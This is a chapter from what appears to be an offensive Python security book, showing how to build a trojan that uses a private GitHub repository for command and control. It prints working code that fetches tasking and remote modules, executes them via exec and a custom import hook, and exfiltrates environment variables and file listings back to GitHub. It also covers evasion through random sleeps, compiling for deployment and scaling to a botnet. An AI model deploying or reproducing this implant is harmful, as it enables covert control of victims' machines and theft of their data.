7
GITHUB COMMAND AND CONTROL



Suppose you've compromised a machine. Now you want it to automatically perform tasks and report its findings back to you. In this chapter, we'll create a trojan framework that will appear innocuous on the remote machine, but we'll be able to assign it all sorts of nefarious tasks.

One of the most challenging aspects of creating a solid trojan framework is figuring out how to control, update, and receive data from your implants. Crucially, you'll need a relatively universal way to push code to your remote trojans. For one thing, this flexibility will let you perform different tasks on each system. Also, you may sometimes need your trojans to selectively run code for certain target operating systems but not others.

Although hackers have devised lots of creative command-and-control methods over the years, relying on technologies such as the Internet Relay Chat (IRC) protocol and even Twitter, we'll try a service actually designed for code. We'll use GitHub as a way to store configuration information for our implants and as a means to exfiltrate data from victim systems. Also, we'll host any modules the implant needs to execute tasks on GitHub. In setting this all up, we'll hack Python's native library-import mechanism so that as you create

new trojan modules, your implants can automatically retrieve them, and any dependent libraries, directly from your repo.

Leveraging GitHub for these tasks can be a clever strategy: your traffic to GitHub will be encrypted over Secure Sockets Layer (SSL), and we, the authors, have seen very few enterprises actively block GitHub itself. We'll use a private repo so that prying eyes can't see what we're doing. Once you've coded the capabilities into the trojan, you could theoretically convert it to a binary and drop it on a compromised machine so it runs indefinitely. Then you could use the GitHub repository to tell it what to do and find what it has discovered.

Setting Up a GitHub Account

If you don't have a GitHub account, head over to *https://github.com/*, sign up, and create a new repository called *bhptrojan*. Next, install the Python GitHub API library (*https://pypi.org/project/github3.py/*) so that you can automate your interaction with the repo:

```
pip install github3.py
```

Now let's create a basic structure for our repo. Enter the following on the command line:

```
$ mkdir bhptrojan
$ cd bhptrojan
$ git init
$ mkdir modules
$ mkdir config
$ mkdir data
$ touch .gitignore
$ git add .
$ git commit -m "Adds repo structure for trojan."
$ git remote add origin
https://github.com/<yourusername>/bhptrojan.git
$ git push origin master
```

Here, we've created the initial structure for the repo. The *config* directory holds unique configuration files for each trojan. As you deploy trojans, you want each one to perform different tasks, so

each trojan will check a separate configuration file. The *modules* directory contains any modular code that the trojan should pick up and then execute. We'll implement a special import hack to allow our trojan to import libraries directly from our GitHub repo. This remote load capability will also allow you to stash third-party libraries in GitHub so you don't have to continually recompile your trojan every time you want to add new functionality or dependencies. The *data* directory is where the trojan will check in any collected data.

You can create a personal access token on the GitHub site and use it in place of a password when performing Git operations over HTTPS with the API. The token should provide our trojan with both read and write permissions, since it will need to both read its configuration and write its output. Follow the instructions on the GitHub site (*https://docs.github.com/en/github/authenticating-to-github/*) to create the token and save the token string in a local file called *mytoken.txt*. Then, add *mytoken.txt* to the *.gitignore* file so you don't accidentally push your credentials to the repository.

Now let's create some simple modules and a sample configuration file.

Creating Modules

In later chapters, you will do nasty business with your trojans, such as logging keystrokes and taking screenshots. But to start, let's create some simple modules that we can easily test and deploy. Open a new file in the *modules* directory, name it *dirlister.py*, and enter the following code:

```
import os

def run(**args):
    print("[*] In dirlister module.")
    files = os.listdir(".")
    return str(files)
```

This little snippet of code defines a `run` function that lists all of the files in the current directory and returns that list as a string. Each

module you develop should expose a `run` function that takes a variable number of arguments. This enables you to load each module in the same way, but still lets you customize the configuration files to pass different arguments to the modules if you desire.

Now let's create another module in a file called *environment.py*:

```
import os

def run(**args):
    print("[*] In environment module.")
    return os.environ
```

This module simply retrieves any environment variables that are set on the remote machine on which the trojan is executing.

Now let's push this code to our GitHub repo so that our trojan can use it. From the command line, enter the following code from your main repository directory:

```
$ git add .
$ git commit -m "Adds new modules"
$ git push origin master
Username: ********
Password: ********
```

You should see your code getting pushed to your GitHub repo; feel free to log in to your account and double-check! This is exactly how you can continue to develop code in the future. We'll leave the integration of more complex modules to you as a homework assignment.

To assess any modules you create, push them to GitHub and then enable them in a configuration file for your local version of the trojan. This way, you could test them on a virtual machine (VM) or host hardware that you control before allowing one of your remote trojans to pick up the code and use it.

Configuring the Trojan

We'll want to task our trojan with performing certain actions. This means we need a way to tell it what actions to perform and what modules are responsible for performing them. Using a configuration file gives us that level of control. It also enables us to effectively put a trojan to sleep (by not giving it any tasks) should we choose to. For this system to work, each trojan you deploy should have a unique ID. That way, you'll be able to sort any retrieved data based on these IDs and control which trojans performs certain tasks.

We'll configure the trojan to look in the *config* directory for *TROJANID.json*, which will return a simple JSON document that we can parse out, convert to a Python dictionary, and then use to inform our trojan of which tasks to perform. The JSON format makes it easy to change configuration options as well. Move into your *config* directory and create a file called *abc.json* with the following content:

```
[
    {
        "module" : "dirlister"
    },
    {
        "module"  : "environment"
    }
]
```

This is just a simple list of modules that the remote trojan should run. Later, you'll see how we read this JSON document and then iterate over each option to load those modules.

As you brainstorm module ideas, you may find that it's useful to include additional configuration options, such as an execution duration, the number of times to run the module, or arguments to be passed to the module. You could also add multiple methods of exfiltrating data, as we show you in Chapter 9.

Drop into a command line and issue the following commands from your main repo directory:

```
$ git add .
$ git commit -m "Adds simple configuration."
$ git push origin master
```

```
Username: ********
Password: ********
```

Now that you have your configuration files and some simple modules to run, let's start building the main trojan.

Building a GitHub-Aware Trojan

The main trojan will retrieve configuration options and code to run from GitHub. Let's start by writing the functions that connect and authenticate to the GitHub API and then communicate with it. Open a new file called *git_trojan.py* and enter the following:

```
import base64
import github3
import importlib
import json
import random
import sys
import threading
import time

from datetime import datetime
```

This simple setup code contains the necessary imports, which should keep our overall trojan size relatively small when compiled. We say *relatively* because most compiled Python binaries using `pyinstaller` are around 7MB. (You can check out `pyinstaller` here: *https://www.pyinstaller.org/downloads.html*). We'll drop this binary on the compromised machine.

If you were to explode this technique to build a full *botnet* (a network of many such implants), you'd want the ability to automatically generate trojans, set their ID, create a configuration file that's pushed to GitHub, and compile the trojan into an executable. We won't build a botnet today, though; we'll let your imagination do the work.

Now let's put the relevant GitHub code in place:

```
1 def github_connect():
      with open('mytoken.txt') as f:
          token = f.read()
      user = 'tiarno'
      sess = github3.login(token=token)
      return sess.repository(user, 'bhptrojan')

2 def get_file_contents(dirname, module_name, repo):
      return
   repo.file_contents(f'{dirname}/{module_name}').content
```

These two functions handle the interaction with the GitHub repository. The `github_connect` function reads the token created on GitHub 1. When you created the token, you wrote it to a file called *mytoken.txt*. Now we read the token from that file and return a connection to the GitHub repository. You may want to create different tokens for different trojans so you can control what each trojan can access in your repository. That way, if victims catch your trojan, they can't come along and delete all of your retrieved data.

The `get_file_contents` function receives the directory name, module name, and repository connection and returns the contents of the specified module 2. This function is responsible for grabbing files from the remote repo and reading the contents in locally. We'll use it for reading both configuration options and the module source code.

Now we will create a `Trojan` class that performs the essential trojaning tasks:

```
class Trojan:
 1 def __init__(self, id):
       self.id = id
       self.config_file = f'{id}.json'
    2 self.data_path = f'data/{id}/'
    3 self.repo = github_connect()
```

When we initialize the Trojan object 1, we assign its configuration information and the data path where the trojan will write its output files 2, and we make the connection to the repository 3. Now we'll add the methods we'll need to communicate with it:

```
  1 def get_config(self):
        config_json = get_file_contents(
                            'config', self.config_file,
self.repo
                            )
        config = json.loads(base64.b64decode(config_json))

        for task in config:
            if task['module'] not in sys.modules:
                2 exec("import %s" % task['module'])
        return config

 3 def module_runner(self, module):
        result = sys.modules[module].run()
        self.store_module_result(result)

 4 def store_module_result(self, data):
        message = datetime.now().isoformat()
        remote_path = f'data/{self.id}/{message}.data'
        bindata = bytes('%r' % data, 'utf-8')
        self.repo.create_file(
                          remote_path, message,
base64.b64encode(bindata)
                          )

 5 def run(self):
        while True:
            config = self.get_config()
            for task in config:
                thread = threading.Thread(
                    target=self.module_runner,
                    args=(task['module'],))
                thread.start()
                time.sleep(random.randint(1, 10))

          6 time.sleep(random.randint(30*60, 3*60*60))
```

The `get_config` method 1 retrieves the remote configuration document from the repo so that your trojan knows which modules to run. The `exec` call brings the module content into the trojan object 2. The `module_runner` method calls the `run` function of the module just imported 3. We'll go into more detail on how it gets called in the next section. And the `store_module_result` method 4 creates a file whose

name includes the current date and time and then saves its output into that file. The trojan will use these three methods to push any data collected from the target machine to GitHub.

In the `run` method 5, we start executing these tasks. The first step is to grab the configuration file from the repo. Then we kick off the module in its own thread. While in the `module_runner` method, we call the module's `run` function to run its code. When it's done running, it should output a string that we then push to our repo.

When it finishes a task, the trojan will sleep for a random amount of time in an attempt to foil any network-pattern analysis 6. You could, of course, create a bunch of traffic to google.com, or any number of other sites that appear benign, in an attempt to disguise what your trojan is up to.

Now let's create an import hack to import remote files from the GitHub repo.

Hacking Python's import Functionality

If you've made it this far in the book, you know that we use Python's `import` functionality to copy external libraries into our programs so we can use their code. We want to be able to do the same thing for our trojan. But since we're controlling a remote machine, we may want to use a package not available on that machine, and there's no easy way to install packages remotely. Beyond that, we also want to make sure that if we pull in a dependency, such as Scapy, our trojan makes that module available to all other modules that we pull in.

Python allows us to customize how it imports modules; if it can't find a module locally, it will call an import class we define, which will allow us to remotely retrieve the library from our repo. We'll have to add our custom class to the `sys.meta_path` list. Let's create this class now by adding the following code:

```
class GitImporter:
    def __init__(self):
        self.current_module_code = ""
```

```
    def find_module(self, name, path=None):
        print("[*] Attempting to retrieve %s" % name)
        self.repo = github_connect()

        new_library = get_file_contents('modules',
f'{name}.py', self.repo)
        if new_library is not None:
         1 self.current_module_code =
base64.b64decode(new_library)
            return self

    def load_module(self, name):
        spec = importlib.util.spec_from_loader(name,
loader=None,

origin=self.repo.git_url)
     2 new_module = importlib.util.module_from_spec(spec)
        exec(self.current_module_code, new_module.__dict__)
     3 sys.modules[spec.name] = new_module
        return new_module
```

Every time the interpreter attempts to load a module that isn't available, it will use this `GitImporter` class. First, the `find_module` method attempts to locate the module. We pass this call to our remote file loader. If we can locate the file in our repo, we base64-decode the code and store it in our class 1. (GitHub will give us base64-encoded data.) By returning `self`, we indicate to the Python interpreter that we found the module and that it can call the `load_module` method to actually load it. We use the native `importlib` module to first create a new blank module object 2 and then shovel the code we retrieved from GitHub into it. The last step is to insert the newly created module into the `sys.modules` list 3 so that it's picked up by any future `import` calls.

Now let's put the finishing touches on the trojan:

```
if __name__ == '__main__':
    sys.meta_path.append(GitImporter())
    trojan = Trojan('abc')
    trojan.run()
```

In the `__main__` block, we put `GitImporter` into the `sys.meta_path` list, create the `Trojan` object, and call its `run` method.

Now let's take it for a spin!

Kicking the Tires

All right! Let's test this thing out by running it from the command line:

WARNING

If you have sensitive information in files or environment variables, remember that without a private repository, that information is going to go up to GitHub for the whole world to see. Don't say we didn't warn you. Of course, you could protect yourself using the encryption techniques you'll learn in Chapter 9.

```
$ python git_trojan.py
[*] Attempting to retrieve dirlister
[*] Attempting to retrieve environment
[*] In dirlister module
[*] In environment module.
```

Perfect. It connected to the repository, retrieved the configuration file, pulled in the two modules we set in the configuration file, and ran them.

Now from your trojan directory, enter the following on the command line:

```
$ git pull origin master
From https://github.com/tiarno/bhptrojan
   6256823..8024199  master     -> origin/master
Updating 6256823..8024199
Fast-forward
 data/abc/2020-03-29T11:29:19.475325.data | 1 +
 data/abc/2020-03-29T11:29:24.479408.data | 1 +
 data/abc/2020-03-29T11:40:27.694291.data | 1 +
 data/abc/2020-03-29T11:40:33.696249.data | 1 +
```

```
4 files changed, 4 insertions(+)
create mode 100644 data/abc/2020-03-29T11:29:19.475325.data
create mode 100644 data/abc/2020-03-29T11:29:24.479408.data
create mode 100644 data/abc/2020-03-29T11:40:27.694291.data
create mode 100644 data/abc/2020-03-29T11:40:33.696249.data
```

Awesome! The trojan checked in the results of the two running modules.

You could make a number of improvements and enhancements to this core command-and-control technique. Encrypting all your modules, configuration, and exfiltrated data would be a good start. You'd also need to automate the process of pulling down data, updating configuration files, and rolling out new trojans if you were going to infect systems on a massive scale. As you add more and more functionality, you'll also need to extend how Python loads dynamic and compiled libraries.

For now, let's work on creating some standalone trojan tasks, and we'll leave it to you to integrate them into your new GitHub trojan.